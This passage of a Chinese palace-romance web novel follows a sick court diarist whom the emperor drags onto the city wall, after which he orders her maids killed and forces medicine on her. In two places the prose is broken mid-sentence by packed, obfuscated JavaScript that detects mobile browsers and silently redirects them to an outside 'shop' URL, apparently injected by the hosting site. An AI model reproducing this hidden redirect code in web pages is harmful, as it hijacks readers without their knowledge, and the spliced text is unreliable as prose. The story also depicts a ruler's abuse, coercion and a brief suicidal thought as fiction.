我撇撇嘴道:“不见得,李斯焱这破脾气,谁嫁谁倒霉,我看他只有和素行最配得,哈巴狗配疯狗,天长地久。” “你这话出去可不能说。”夏富贵赶紧捂住我的嘴:“议论陛下可是大罪。” “没事,他还需要我干活呢,哪舍得罚我。”我无所谓道:“老娘死都不怕,他还能拿我怎么样。” 夏富贵瞪眼道:“你忘了你婶子和你堂弟了?” “没关系,宫里的事宫里解决,只要我不自杀也不想着逃跑,李斯焱不会去动他们。” 夏富贵面露一丝迷茫。 “陛下对你是个什么意思?”他压低嗓音问我。 “说了多少次了,猫玩耗子的意思。”我恶狠狠啃下一块樱桃毕罗,用力咀嚼,含糊不清道:“开心了逗一逗,不开心骂两句,再不开心打一架。” 夏富贵都听傻了:“啊?你和圣上还打架?“ “是啊,打过好几次,狗皇帝一点不讲武德。”我抱怨道。 此事颠覆了夏富贵的认知,他目瞪口呆地听我讲完了前几次打架的故事,拿筷子的手微微颤抖。 他这顿饭吃得真值,打听出来的信息量绝对超出了他的预期。 * 送走了夏富贵,范太医又来寻我,拎着一个药箱,晃晃悠悠地来给我做例行检查。 “张嘴,我看看舌苔。”他道。 我伸出舌头。 范太医道:“舌苔白厚,湿气太重,要多走动。” “好。” 又给我号完了脉,范太医说我没什么毛病,但是凛冬将至,风寒肆虐,衣食上要小心一些。 年轻人总是对自己的身体不甚爱惜,范太医前脚出去,我后脚把他的告诫统统扔去了九霄云外,他给的调理汤药也懒得喝,全都喂了窗子下面的一丛野草。 有一天我还特地往窗外一看,发现野草都被范太医的药给毒死了,我这个恶劣的人毫无怜惜幽草之心,只拍着胸口想幸好老娘没有喝。 * 这样乱来的后果是,十一月末的某一天,我病了。 这个病来得不凑巧,稳稳降落在了一旬一日的休沐日里,令人非常生气。 早间,小金莲察觉了不对之处,一摸我的额头,烫得吓人。 “怎么办呀!”她急坏了:“娘子烧得好厉害,我去请范太医吧。” 太医?算了吧…… 我最怕范太医叨叨我了,他那张嘴烦人的恨。 我道:“范太医今儿个是休沐,我们御前当差的人,有个假期不容易,别去打扰他。” “那怎么办?” “熬个一日而已,死不了。“我摆摆手,钻回被窝:“我先睡一觉,你出去吧。” 后来小金莲告诉我,在我昏昏沉沉睡觉的这段时间里,长安很不给面子地下了一场新雪,如鹅毛般纷纷扬扬,十分美丽。 一场大雪过去,整个长安银装素裹,恍如仙境。 李斯焱今日也休沐,心血来潮登上了外城的城楼,遥望百里长安,万里江山,胸中豪情顿起。 一切与我本无关系,奈何豪情顿起之时,城墙上的狗皇帝想起了他还有一个盼着他倒霉的起居郎。 于是…… “沈缨呢。”李斯焱突然问道。 庆福怔了怔道:“沈起居郎她今日休沐。” 李斯焱捏着扳指道:“我不管她在哪里,把她给我叫过来,现在。” 没人敢违抗皇命。 半刻钟后,尽忠职守的素行,从城楼上匆匆回了紫宸殿,旋风一样卷进了我居住的耳房,把我从床上挖了起来。 太作孽了,自从我认识素行起,此人总在扮演把我从床上揪起的恶劣角色。 她拽着迷迷瞪瞪的我,喊小金莲和小金柳给我穿衣服梳头。 一对金领命而来,四只小手来回摆弄,素行在旁监工,瞧着我有了个人样后,催促道:“走吧,沈起居郎。” 虽然我发着高热,憔悴得十层胭脂都遮不住,素行却丝毫不在意我的身体状况,撵鸭子一样催着我走,我扶着脑袋,恶狠狠地心想:好一个草菅人命的奴才头子! 就这样,我被素行连拉带拽,一路拎上了城楼。 狗皇帝早已等得不耐烦了,在城墙上面来回地踱步,肩上落了薄薄一层雪水,蘸湿了鬓边散落的毛发。 我衣裳轻薄,颤颤巍巍地裹紧了斗篷,冻得鼻尖泛红。 这城楼足有百十来尺高,我硬是凭自己的两条腿走了上来,出了一身冷汗,被风一吹,我觉得自己人都快没了。 狗皇帝究竟是有什么十万火急的大事啊!居然让一个病人大冷天爬城墙,未免太没良心了。 “……见过陛下。”我虚弱地行了个礼。 屈膝时脚下一滑,险些摔倒,多亏素行眼疾手快,一把抓住了我的胳膊。 李斯焱听见了我的声音,转过头来。 我吸了吸鼻子,病恹恹地看了他一眼。 他见到我,目露喜色,大流星步走了过来,抓住我的胳膊用力一扯,把我拉到他的身边。 我被拉来拽去,脚步虚浮得要命,昏昏沉沉的脑袋撞到了他的黑貂大氅上,不知天地何物。 我稀里糊涂,无限怨念地想,今天不管他放了什么屁,我一个字都不记,这是加班人士最后的倔强。 “陛下何事寻我?”我恹恹问道。 他盯着我,指着城楼外覆着新雪,壮阔无垠的长安城道:“让你来看看朕的江山,瑞雪丰年,天下归心。” 看你奶奶个腿! 我气得差点眼前一黑。 见我没反应,他强行拧着我的头,转向城楼外。 我勉强看了一眼,长安下雪了,挺美,但不管怎么欣赏,我都不觉得这场雪值当我拖着病体站到城楼上来看。 因为落雪,坊市间的人都减少了许多——谁想大雪天出门啊,还嫌不够冷吗? 我看向安邑坊的方向,模模糊糊一团房子,又看向中书省的方向,也是一片冷寂, 只得有气无力开口道:“陛下,我看完了,可以走了吗。” 李斯焱充耳不闻,依旧不放过我可怜的脑袋,贴着我的耳朵笑道:“沈缨你是不是很不忿?眼见朕这个仇人坐拥锦绣江山,治下海晏河清,你说朕要遭报应,这报应却始终不见踪影,你说它是被什么耽搁住了呢?” 我哪儿知道?我心想:我又不是老天爷。 这就叫时无英雄,使疯狗成名。 他松开我的脑袋,貌似随意地把那双修长的手搭在我的肩膀上,意气风发道:“待几年后朕厉兵秣马,重振河山,便出兵燕云十六州,将祖宗基业再夺回来。“ 他的手上生着一层薄茧,童年时的繁重劳作所致。 我心道你想得倒挺美,匈奴的铁骑也不是吃素的,小心他们一路打草谷打到长安来。 “你看,东方有天光破云,是祥瑞之兆。” 他怎么还在喋喋不休,像个坏脾气小孩炫耀玩具一样讨厌,我烦得要命,用力甩掉他按在我肩头的手,退后了几步,冷漠道:“关我什么事。” 他一时愣了,随后眼神一下阴沉了下来,冷冷道:“关你什么事?朕就是让你瞧瞧仇人的江山,怎么,这就受不了了?” “既无大事,我就先告退了。”我屈膝行了个礼。 “滚回来,不准走!”他叫嚣道,气势汹汹好像我欠了他几百两黄金一样。 好笑,明明是他欠我三条人命,却弄得像是我欠了他的一样,这个人真不讲理。 我低下头,晃晃悠悠地转过身,又晃晃悠悠地走了。 我已有好久没给狗皇帝甩脸子了,但今天我是个病人,病人有权力任性一点。 我抖着手戴上风帽,但还是冷,头也好晕,城楼上的风真大,直往我眼睛里扑,我眯上眼,腹中突然传来一阵痉挛的饥饿感,咦,我是不是没有用早膳,但我现在没有丝毫胃口,什么都吃不下…… 我又晕又饿,此刻终于支撑不住了,发着高热的身子软软向着城外的方向栽倒,眼前景色不停地旋转,最后定格在了百尺外的城楼之下。 跳下去……跳下去吧。 我突然生出这个念头。 神思恍惚之间,我茫然地看着城下的青砖,鬼使神差地想,狗皇帝不让我自杀,但如果是意外身亡……他还会为难我的亲人吗? 应该不会……吧。 但这个念头也只是一瞬而已,我眨了眨眼,放下了这股冲动:我不想让婶子和小川难过,也不想让孟哥哥看到我血肉模糊的丑样子,既然身体里还剩一点点活下去的勇气,那就不要去死。 “沈缨!”隐隐约约听见狗皇帝在大叫。 晕过去的前一秒,我听见了急促的脚步声,黑影一闪,一团柔软的貂毛触碰到了我的身体,接着是一股大力,把我像煎鸡蛋一样翻了个面儿,我睁开眼,眼前出现了狗皇帝狰狞焦虑的大脸……我赶紧又闭上了。 “愣着干嘛!快叫太医!”他暴躁地吼道,眼神里的情绪太复杂,好像有点惊慌失措,又有点脆弱茫然,病人脆弱的观察力无法分辨明白,我只觉得他聒噪。 看看,不管他平素伪装得多好,到这种时候,掖庭里那个阴冷乖戾的小男孩总是会悄悄跑出来。 他大概以为我晕过去了,抓着我瘦弱的肩膀拼命地摇,一边摇一边喊我的名字,沈缨两个字被他叫得真难听。 我不知哪里来的力气,睁开了眼,一巴掌把他的手拂开,皱眉道:“吵死了,不许你碰我。” 他的手僵在半空,眼神怔忡。 我不想再看到这张晦气的狗脸,索性把头一歪,晕过去了事。 —— 沈缨晕过去了。 她这个人脚底虚浮,下盘不稳,有时候平地上都能摔一跤,更何况是生了病。 而且摔跤的姿势非常不优美,每次都脸着地。 庆福认命地叹了口气,揣着拂尘往御书房里看了一眼。 御书房里人头攒动,宫女内侍们端着水和巾子健步如飞,人群的中心位置处,沈缨正人事不知地躺在中间那张软榻上。 皇帝陛下脸色难看地坐在塌边,龙臀下还压着她几缕毛发。 “范太医去叫了吗?”庆福问门前的内侍。 “范大人今日休沐,虎跃儿去喊姜太医了。” 庆福点点头道:“……你去沈起居郎的屋里,把她的衣裳之类的用物拿来。” “啊?”小内侍傻了。 庆福凶道:“还不快去!” 他揉了揉眉心,眼瞅着沈缨病好之前要在御书房的软榻上长期驻扎了,得提前把她的东西拿来,省得回头她又要这要那的。 这小娘们聒噪烦人,又蠢又作,偏偏陛下乐意纵着她,让人一点儿办法也没有。 过不多时,虎跃儿抓来了满头大汗的姜太医。 这个可怜的年轻郎中一看就是从午休中被叫起的,穿得七零八落,帽子都戴歪了,庆福把他请进去,颇有几分同病相怜的悲戚。 都是被沈缨折磨的内苑务工人员。 姜太医见皇帝脸色青白,一刻都不敢耽搁,麻利地把了沈缨的脉,战战兢兢回话道:“回禀陛下,沈起居郎是害了风寒,烧得很重,臣这就去写方子备药,此症不得见寒见风,最好是在榻上将养,不要外出……” 不要外出。 皇帝的脸色一下变得更加难看了。 “你们两个怎么伺候的!”他突然抓起一枚笔筒,往地上狠狠一摔,对小金莲和小金柳寒声道:“她病了,你们连个太医都不请,要你们何用!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599804|187487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >小金莲和小金柳吓得魂飞天外,直挺挺对着一地碎片跪下,哭道:“陛下恕罪!我们早间便发觉了沈娘子体热,可沈娘子说今日范太医休沐,不便打扰,我们才没有去叫太医的,陛下恕罪呀!” 皇帝一脚把小金莲踹倒在地,冷笑道:“就这么听她的话?太医院又不是只有范崎生一人,你们不会换个医官么?没用的东西,瞧着也是碍眼,拖下去打杀了!” 庆福眉毛一跳,心道不好,皇帝已经许久没有滥喊滥杀,今日突然发作不说,一发作就是雷霆万钧,直接了解了两个小宫女的性命。 他犹豫道:“陛下……” 皇帝一个锋利的眼风堵住了庆福接下来的话。 庆福心头一凛,立刻冲上前去,啪啪两个耳光抽在小金莲和小金柳脸上,骂道:“没眼色的玩意儿,侍卫呢?没听见陛下的话吗?把她俩给拖下去!” 庆福发起火来不比李斯焱好多少,一对金被抽得嘴角破皮,吓得话都说不出一句,眼泪鼻涕糊了满脸,庆福带着两个侍卫,把她们一路拖到了门外。 出了门后,庆福才低声对两人道:“这次算你俩倒霉,听着,爷爷我至多保得了你们一日,多求求满天神佛,保佑让你们沈娘子早些醒过来,兴许还有条活路。” 一对金的哭叫声渐渐远了,庆福赶紧又回了御书房。 书房里已静了下来,皇帝正坐在沈缨床前发呆。 榻上的女孩双目紧闭,面色憔悴,头发蓬蓬乱乱地散着,大概是因为热,手不住地往外伸。 皇帝一次又一次地把她的手塞回被子里。 这么大的动静闹出来,她还是没有醒,裹着被子像个小猪一样哼哼唧唧扭来扭去。 突然,她的嘴动了动,好像想说什么。 皇帝连忙屏退了下人,附耳上去。 只听见沈缨紧闭着双眼,握紧了拳头…… 然后气壮山河地喊道:“沈念川,你小子欠我的钱什么时候还!” —— 在城楼上晕倒之后,我做了个很长的,不连贯的梦。 梦里我回到了安邑坊的家,小川逃学出去买酥山,死小孩吃独食,没给我买,气得我追着他揍。 隐约记得他还欠我钱,于是气吞日月地吼了一嗓子:沈念川,你小子欠老娘的钱什么时候还! 小川被我揍得嗷嗷乱叫,保证下次去买酥山一定给我也带一份,我冷哼一声道:下次是哪次,还爷的钱来! 边上好像有人在轻轻地叹气,说别闹了,好生歇着吧。 是谁呀? 我努力想了想,哦,一定是孟哥哥来劝我了,每次我和小川打架,他都要来跟我们叨叨什么君子动口不动手之类的话,笃笃笃跟念经似的。 来人一定是孟哥哥,我抓住他的袖子撒娇道:不要嘛,沈小川这厮欠修理,我揍完他再和你逛东市,你等等哦。 他的袖子很软,料子是上好的锦缎,我不由多摸了两把。 他轻柔地捏了捏我的手,掌心冰凉又干燥,先是抓了两下,然后恋恋不舍地把我乱舞的爪子塞进了热烘烘的被子里。 我傻笑道:孟哥哥最好了。 那只手的动作一顿,用力突然粗暴起来,啪啪啪在我脸上轻拍了三记,一个恼怒的声音道:“朕瞧你是烧糊涂了!起来喝药!” 我被拍得头疼欲裂,是谁自称朕来着? 狗皇帝!只有他会自称朕。 不是孟叙,孟叙才没有那么粗暴,他是对我最好的人。 我生了病脑子混沌,想东西颠三倒四的,只觉得有个坏人像幽灵一样在冷冷注视着我。 小川道:阿姐,你怎么了,为什么在哭呀。 我茫然四顾,四下一片昏黑,我看不见小川,讷讷道:阿姐也不知道,阿姐好久没有见你了。 我眼前的景物突然变了,小川没有了,孟哥哥也不见了,一座孤城拔地而起,我看到了内苑朱红的宫墙,还是这么可憎的颜色,阿爹的背影在紫宸门前逐渐消逝,二叔在朗声唱着歌,风萧萧兮易水寒,壮士一去兮不复返……哥哥对我说:缨缨,你要保重。 一眨眼间,飞沙走石,天旋地转,巍峨的宫门化作一只饕餮巨兽,张开狰狞的巨嘴,一口吞吃了他们。 我站在遥远的地方呆呆望着这一切发生,我想嚎叫,想大哭,喉咙口却像是梗住一样,什么都说不出来。 那只饕餮生了一对阴鸷凶狠的狐狸眼,我曾见过的,六岁那年,在掖庭宫里,生在那个叫焱郎的男孩脸上。 这是很久以前的事了啊,为什么我还记得呢…… 浑浑噩噩间,一道雪亮的刀光闪过,鲜血四溅,温度鲜活。 那一刻,胸腔里好像有什么东西碎掉了,再也无法修补。 我身体剧烈颤抖起来,突然爆发出一阵尖利的哭叫。 又来了,又是这个可怕的梦,两年了,每当我以为自己要忘掉的时候,这个清晰到恐怖的梦靥都会来纠缠我。 我想一定是一定是沈家的列祖列宗在惩罚我,李斯焱把家族杀到近乎灭门,你不一死以殉道义便罢了,怎么还给他当起居郎呢?这是在为虎作伥,怎配做沈家的女儿! 我不停地哭:……不是的……不是的,我比任何人都恨他,恨不得把他喉咙咬断生啖其肉,可他是皇帝呀,他捏着小川的前程,婶子和旁支数十口人的性命,我除了听话,还能怎么办呢? 我痛苦地呜咽,那只手又抚上了我的脖子,我本能地感到恐惧,奋力挣扎起来,浑身大汗淋漓,那只手的力却越用越大,把我制在榻上,与之不同的是一道温柔的声音,他似乎在说:沈缨,你醒一醒,你被魇着了,把药喝了再睡。 朦朦胧胧听不真切,我的眼泪夺眶而出,身体热得像是在火上炙烤的羔羊。 一根细细的勺子伸到我嘴边,敲打我的牙关。 我哭着道:你滚开,滚开,我不喝。 那人默了一默,突然冷哼了一声,捏开我的嘴,含着妒意道:和孟叙逛东市,轮到朕就是滚开?你自找的。 唇上传来柔软的触感,有些熟悉,可这一次没有清幽的薄荷味,而是一口苦涩的药汁渡入了我的口中。 这药汁儿苦极了,连最懂事的小孩喝了也要呸呸呸的水平,我本就是一个不懂事的小孩,哪能受得了这个?立刻想要吐出来,可喂我药的人早知道我不会就范,掐着我的嘴,不知道用了什么法子迫使我咽下去,我哭得更凶了,怎么会有那么坏的坏人啊! 一口,又一口,我就这样喝完了不知道多少药,苦味在嘴里发酵,满腔的委屈。 那柔柔软软的东西依旧在我嘴边磨蹭,我觉得痒,偏头躲了去,它才不舍地离开了我的嘴唇。 我裹着厚厚的被子,神志渐渐不清,翻覆了几回后,带着一脸泪痕,沉沉睡去了。 17. 第十七章-我那该死的作死精神 昏睡了一天后,我是被蝉儿叫醒的。 这个宫女自从去年除夕那夜被我吓怕了之后,一整年都绕着我走,所以当我醒来发现第一眼见到的人是她时,着实是大吃了一惊。 她回过头,与我四目相对,愣了一愣,突然眼神里迸发出巨大的喜悦,焦急道:“沈娘子可算醒了,你晕过去后,陛下发了怒,说要打死小金莲和小金柳,现在人已经拖去了掖庭,再晚怕就来不及了……” 我听得惊呆了,不是李斯焱自己下令把我送上城楼的吗,为什么要找金莲和金柳的茬? 惊惧之下,我整个人一下就坐了起来,拉着蝉儿的袖子问道:“怎么回事?你说清楚!” 蝉儿见四下无人,压低嗓子道:“太医来瞧过,说沈娘子你昏过去是因为害了风寒,陛下觉得她们失察,昨日盛怒之下,就……” 我越听越心惊,立刻翻身下踏,去营救小金莲和小金柳,结果错算了高度,险些摔倒在地。 我瞪眼瞧瞧刚刚睡的地方——不对呀!这不是我的小床,看着有点像是李斯焱御书房里的那张软榻啊! 再匆匆往四周一看,我整个人都懵了。 要命了,这不就是御书房吗?” 蝉儿小声道:“陛下嫌娘子的屋子不够暖和,便把他常歇的软榻腾给娘子用了。” 我有点难以接受,拧了自己的大腿一把,生疼,不是在做梦。 蝉儿提醒我道:“金莲和金柳……” 对,我一个激灵反应了过来,先不要管御书房的事儿,这一对金傻不愣登,不能让李斯焱不明不白地给杀了! 我穿着亵衣,风风火火地跑到大殿里大声喊陛下,蝉儿戏也很足,假模假式地喊着娘子慢一些,且回去再歇歇吧之类的场面话,其实恨不得我再跑得快一点。 小宫人们不敢上前,最后是值守大门的素行拦住了我,面无表情道:“陛下吩咐了,不准你出门。” “你算哪根小秋葵!”我一把把她掀到一边,怒道:“金莲金柳平日也叫你一声姑姑,你见死不救也就罢了,竟还要拦我!” 素行踉跄一步,站直身子淡淡道:“这是陛下的吩咐,我们做下人的违抗不得,我若是把你放了出去,自己项上人头也难保。” 我喘着粗气与她对峙,素行一步也不让,冷脸问蝉儿道:“你告诉她的?“ 蝉儿低下了头。 素行哼了一声,负手不语。 我被拦在门口,只觉得头晕乏力,今日是大朝会,李斯焱应该还没散朝,怎么办,他不回来,素行就绝不会放我出去,除非…… 我冷冷瞪了素行一眼,拉起蝉儿回了御书房。 蝉儿声音已经有了哭腔:“怎么办啊娘子,我不想金柳金莲她俩被……” 我打断她的话道:“你放松。” 蝉儿懵了:“娘子要做甚……嗯!” 我目光一凛,并指为刀,一掌击在她后颈处,蝉儿瞪大了眼,闷哼一声晕了过去。 对不住蝉儿妹妹,就让你睡一会儿吧。 我把她放到了软榻上盖好了被子,扒下她的衣裳穿在自己身上,打开窗子,悄声无息地翻了出去。 素行这人有一点好,就是特别循规蹈矩,以她僵化的脑子,自然是想不到窗子也能走人的。 我出了紫宸殿,见四下无人,朝着掖庭宫的方向快步走去。 但愿能来得及救下这一对金。 正午的日头毒辣,我顶着太阳,疾走了一刻多钟,终于在掖庭宫门口赶上了拖着两个倒霉丫头的队伍,为首的是两个侍卫,和当初拉我去掖庭的是同一拨人。 这就叫冤家路窄。 小金柳和小金莲瞧见了我,就像瞧见了仙女菩萨一样,激动得呜呜呜直叫。 与她们的狂喜相比,两个侍卫的脸色堪称绝望,我在紫宸殿的大名如雷贯耳,谁都知道我又横又作,发起疯来连皇帝都敢打,绝对是个惹不得的疯婆娘。 见我如老母鸡护犊子一样,气势汹汹地走来,那侍卫试图威胁我道:“沈起居郎,打杀此二罪婢是陛下亲自下的指令,怎么,你想抗旨吗?” 我横了他一眼,往小金莲和小金柳面前一站,叉腰冷笑道:“少拿陛下吓我,老娘不怕他,冤有头债有主,我不为难你们,去把李斯焱给找过来,老娘亲自和他讲道理!快去!” 那侍卫气道:“这等小事,怎么好劳烦陛下!沈起居郎未免太过霸道了!” 我下巴一抬,往他的方向逼近一步,反过来冷笑道:“霸道?你想想清楚,我可是陛下最纵容的玩物,他都没说什么,轮得着你替他鸣不平?我告诉你,今天不随我的意,老娘就往你的剑上撞,你掂量掂量后果!” 不仅是两个侍卫,连小金莲和小金柳都惊呆了。 这一年我一直在紫宸殿扮演没有感情的起居郎,客客气气,亲切友好,好久没有如此放飞自我,让他们都忘了我这个人的本质——全长安最彪的女史官。 虽然感觉挺对不起这两个倒霉侍卫,但为了救一对金,我还是豁出去了。 对峙许久,最终那两个侍卫还是选择了屈服。 两人一副受了莫大委屈的憋闷样儿,押着小金柳和小金莲回了紫宸殿,找皇帝再次定夺。 如此一来,她们俩的命算是保住了。 我放了心,这时才想起自己还是个病号,头晕眼花的症状一下冒了出来,不过太医院开的药还算有用,虽然头还是晕着,却不像昨天那样走路都打摆子了。 行至紫宸殿,只见外面站了乌压压一大群人,为首的李斯焱穿着耀眼的金锦龙袍,一手指着前方,好像在骂人。 我对一旁的侍卫道:“那跪着的是谁?看着像素行啊。” 侍卫垮着脸道:“素行姑姑没看住沈起居郎,理应受罚。” 我摇摇头道:“我不觉得。” 素行虽然讨厌,但她也是领了狗皇帝的命令办事,怪不得她。 我拨开一群宫女内侍,直直爬上台阶,对李斯焱道:“陛下为何责罚素行姑姑?” 听见我的声音,李斯焱回过了头,意外道:“你怎么在这儿?” 见我领着侍卫和被五花大绑的一对金,他顿时明白我出去做了什么,长眉一挑,冷嗤一声道:“生了病不好好躺着,净出去瞎跑,不过两个小宫人的命,也值当你这样奔走?” 小金柳明显地瑟缩了一下,小身体团成一团。 我摸摸她的脑袋,坦然对李斯焱道:“陛下觉得不值,我却觉得值得很,人命都是金贵的,我最讨厌看着别人不明不白地死。” 李斯焱垂下眼,大概也清楚我说的不明不白的死意有所指。 我盯着李斯焱的眼睛继续道:“陛下不要为了我责罚不相干的人,不请太医是我自作主张,不关这两个笨小孩的事,跳窗逃跑也是我的主意,没必要为此苛责素行和蝉儿。” 陡然被我点了名,素行动也没动一下,跪在地上朗声道:“是奴不慎放了沈起居郎出去,陛下罚得是。” 李斯焱笑道:“你看,你费尽心思救人家,人家不领你的情呢。“ 他这么一笑,搭配这种台词,总让我想起来画本子里邪恶又嚣张的反派角色。 如果他是反派,那我一定是正派中的正派,浑身散发正道的光的那种热血正义女史官。 我把头发向后一甩,认真地开口道:“我管她领不领情呢,这是我自己的道理,哪怕她向陛下你摇尾巴认怂,我也觉得她没做错。” “哦,既然她们都无错,那错的是谁呢?”李斯焱笑眯眯地问我。 “当然是陛下,”我平静地指出他的问题:“昨日是陛下在大雪的天里把我强行拖去了城楼,今日也是陛下不让我出紫宸殿,我才铤而走险翻窗的。” 李斯焱笑得眼泪都出来了:“好久没见你一本正经分辨是非了,这张嘴还是那么伶俐。” 我瞪着他道:“不辩就不辩,你把这俩放了!” 李斯焱道:“你求朕,朕就放人。” 竟有这等好事,我从善如流道:“求求陛下放了小金莲和小金柳。” 接收到蝉儿疯狂暗示的眼神,我又补了一句:“……还有蝉儿和素行。” 不得不说,在宫里混了快两年,我的心气儿已经平和了很多,该低头时就低头,省去了很多不必要的麻烦。 也学会了怎么顺着撸李斯焱的毛,满足他作为皇帝的自尊心,让他稍微平和一点,不要动不动就暴躁。 我们在互相驯化,像两只刺猬互相绕着对方的盔甲走,从表面上看是一对相安无事的君臣,但实际上,我们依旧是截然不同的两类人,永远没办法真正理解彼此。 天堑一样的矛盾深埋着,迟早有一天会爆发出来。 求了李斯焱放了这两个金之后,我想回自己的屋子换身衣裳,结果被狗皇帝一把抓住后领,像揪小鸡崽儿一样揪了回来。 他磨磨牙问我道:“你又想去哪儿?” 我莫名其妙道:“我回屋换衣服啊。” 他提着我的后衣领子,把我往御书房的方向拉,边拉边道:“用不着了,庆福把你的物什统统搬来了书房里,你病好之前,朕特准你在书房里起居。” 他的语气听起来非常愉悦,好像是赏赐了我什么绝世大恩典一样。 我后颈寒毛瞬间起立,迅速道:“万万不可,御书房是辎重之地,怎么能给我一介小臣做卧室?” 干他娘的,谁想在他的书房里起居啊!他不担心我半夜摸到他桌子边上翻看军国机密,我还嫌他的榻太膈应人呢! 狗皇帝蹙起眉毛,突然冒了一句令我大惊失色的虎狼之词:“御书房不想睡,你难道想睡内殿吗?” 我差点吐出一口老血:“你!” 见我摇摇欲坠,李斯焱连忙扳过我的肩膀查看,一抹忧色闪过眼底。 我深吸两口气,眨眨眼道:“我没事儿,头晕罢了。” 瞧他离我那么近,鼻尖都快贴上了,热乎乎的气息喷在我面前,我一阵警惕,刷地往后跳了一大步:“我害了风寒,别过了病气给陛下。” 李斯焱当然不会相信我的借口,伸手过来碰了碰我的额头,冷哼道:“现在倒想起自己身上有病气了,方才满宫跑的时候健壮得八匹马都拉不住,行了,赶紧到榻上去,别在外头晃悠。” 一说又要睡他的榻,我一千一万个不愿意。 但看李斯焱一脸铁了心不让我跑的模样,我只得退而求其次道:“可我总不能在陛下眼皮子底下休憩吧,陛下能不能给我搬一个屏风来?” 作为一个好饲主,李斯焱除了不允许我出宫之外,算得上是有求必应,一听我想要屏风,爽快地点了头,找了庆福来道:“你去库房里把去岁陇西节度使送的……那面绣了山水的屏风拿出来给她。” 庆福的眼角明显地一抽,提醒道:“那屏风贵重……” 李斯焱无所谓道:“无妨,朕贵重的东西多了,快去。” 庆福没办法,只得领了几个小内侍出去开库房,搬那面传说中的昂贵屏风出来。 我倒是对贵不贵重没什么感觉,反正也是摆在他的书房里。 但这面屏风的珍稀程度还是超出了我的预期。 有些家具不能被称之为家具,它的展览属性远远超过了实用性。 ——比如我面前这架气宇轩昂的屏风界帝王。 庆福亲自上前,小心翼翼揭下了保护屏风的锦缎罩子,我的眼前一花,被大片大片的刺绣山水闪得几乎晕过去。 “这……这屏风是韩大家的笔墨!”待到看清时,我被震得瘫坐在榻上,半天没回过神,目不转睛地盯着那楚岫云归的山水猛瞧,嘴里念道:“天呐,韩大家生前焚尽了所有的画卷,流落世间的墨宝屈指可数,万金难求,怎么……怎么无端冒出了这一大面屏风,还是绣出来的,当真是巧夺天工,世无其二……” 我全家都是喜文爱画之人,家里至今藏着许多文人墨宝,但把家里所有的书画都捆在一起,也比不上韩大家随手的一幅小品,乍一见到如此仙品,我像是狸奴误闯老鼠窝一样,手脚都没地儿放了。 庆福嫌弃地看着我没出息的样子,不阴不阳道:“沈起居郎好眼力,这山水确实是韩大家生前所绘,被柴大人寻去绣成了屏风,眼下陛下大发慈悲把它赐给你用,你还不快些谢恩?” 与我的痴迷相对应的是,李斯焱对这面价值连城的屏风无动于衷,甚至露出了“这玩意好在哪了”的困惑神情。 我怀疑他连韩大家是哪根小秋葵都不知道,毕竟他可是本朝最没文化的皇帝。 不过看到我那么稀罕他的屏风,李斯焱的虚荣心得到了极大满足,偏偏他还不承认,慢慢坐回到书桌前,端起水杯晃了晃,假作随意道:“不过一面屏风而已,朕的库房里有的是。” 他说什么我已经听不见了,只顾痴迷地盯着屏风流口水,瞧瞧这远山如黛,这云横四野,这青松翠柏,哇…… 庆福绕到屏风后,恨铁不成钢地敲敲我的头,向李斯焱的方向一努嘴,无声道:跪下谢恩。 我懒得跪,嘴上乖巧道:“谢陛下。”一边继续欣赏伟大的艺术作品。 喔唷,这画工,这意境,这落款诗题得也好,我何时能有这份笔力呢?…… 一听我谢他,李斯焱顿时坐不住了。 他披着龙袍大步地走到我身边蹲下,问我道:“你很喜欢这屏风?” 感觉有人在接近我,我终于赏了他一个眼神,恰好瞥见狗皇帝双腿叉开蹲在地上,姿势像个垄头种地的田舍翁,顿觉阳春白雪化作了下里巴人,扫兴至极。 在我们家,沈小川同学如果敢这样不雅地蹲着,婶子能把他毒打到哭着喊爹爹。 注意到我嫌弃的神色,李斯焱愣了愣,换了个稍微正经一点的坐姿,我神色稍霁,又转头去瞧那面屏风。 狗皇帝怔怔地望着我,不自然道:“一架屏风算得什么,朕这里还有别的好东西,你要不要看看?” 庆福的眼皮又是一跳。 我随口道:“不用了谢谢陛下。” 虽然被我不咸不淡地顶了回去,但李斯焱并没有气馁。 他笃定了我一定是没有听清他在说什么,于是清了清嗓子,用更大的声音道:“朕的库房里金玉成堆,看在你最近乖巧伶俐的份上,朕允许你去随意挑上几件。” 我敷衍地嗯了一声。 狗皇帝出身寒微,觉得金玉是好东西,可我从小见惯了家里人把金啊玉啊随手丢在一边,抱着书册画卷爱不释手的样子,所以对这些亮闪闪的小玩意一向无甚兴趣。 李斯焱见我没什么反应,平静地起身走了,不一会儿,搬了一只精美无比的鎏金器物走到我面前。 他并腿坐下,把那金光灿灿的器皿搁在我临时借用的软榻上。 我瞅瞅那华美到累赘的首饰盒子,又瞅瞅一脸高傲的狗皇帝,觉得我他妈有点看不懂这个行为了。 他在炫耀吗?炫耀他的大金盒子? 李斯焱也在观察我的神情,看我一脸茫然,还以为我是被这个盒子的华丽所震撼,满意地一笑道:“你若喜欢就拿去玩,朕还有许多。” 不,我不喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599805|187487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢,我要被这暴发户审美土晕了。 为了不碰倒这个凝结了皇帝虚荣心的金闪闪宝盒,我谨慎地往旁边挪了一点,正色推辞道:“太贵重了,我不能收。” 不仅不能收,我还不想收。 这种直白的炫富简直是在蹂躏我的审美,看久了眼睛都疼。 